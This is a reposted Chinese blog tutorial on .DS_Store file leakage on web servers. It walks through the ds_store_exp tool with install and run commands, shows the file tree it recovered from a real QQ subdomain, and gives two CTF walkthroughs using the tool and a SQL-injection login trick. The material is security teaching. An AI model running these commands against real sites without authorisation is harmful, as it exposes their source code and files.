飞道的博客

DS_Store文件泄漏

601人阅读  评论(0)


什么DS_Store

.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。 其删除以后的副作用就是这些信息的失去。

和别人交换文件(或你做的网页需要上传的时候)应该把 .DS_Store 文件删除比较妥当,因为里面包含了一些你不一定希望别人看见的信息。尤其是网站,通过 .DS_Store 可以知道这个目录里面所有文件的清单,很多时候这是一个不希望出现的问题。

DS_Store文件泄漏

.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。由于开发/设计人员在发布代码时未删除文件夹中隐藏的.DS_store,可能造成文件目录结构泄漏、源代码文件等敏感信息的泄露。

利用工具——ds_store_exp

源码地址:https://github.com/lijiejie/ds_store_exp

这是一个 .DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地(生成一个该,目标网站的一个源码文件夹)。其运行需要python2环境。
从github上下载工具到本地后,先安装需要的相关库文件:

pip install -r requirements.txt

使用:

python ds_store_exp.py http://www.example.com/.DS_Store

Example:

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

实例:

bugku-sql注入2

此题本为sql账户入题目,但他同时也有DS_Store文件泄漏漏洞。

通过dirsearch扫描发现.DS_Store文件泄露

使用利用工具——ds_store_exp查看.DS_Store文件

python ds_store_exp.py http://123.206.87.240:8007/web2/.DS_Store


发现flag文件,进入已下载下来的源码文件:

[BJDCTF 2nd]假猪套天下第一

进去之后:
可以直接用sql注入的万能密码登录进去,但是之后再无其他线索。我们只能用dirsearch扫描一下目录,发现/.DS_Store文件,

那就可以断定是DS_Store文件泄露了。
之后,上我们的利用工具——ds_store_exp:

python ds_store_exp.py http://node3.buuoj.cn:28294/.DS_Store


列出目录发现了L0g1n.php。访问它:

之后解题过程见:https://blog.csdn.net/qq_45521281/article/details/105775452

更多源码泄露:https://blog.csdn.net/qq_36869808/article/details/88895109


转载:https://blog.csdn.net/qq_45521281/article/details/105774453
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场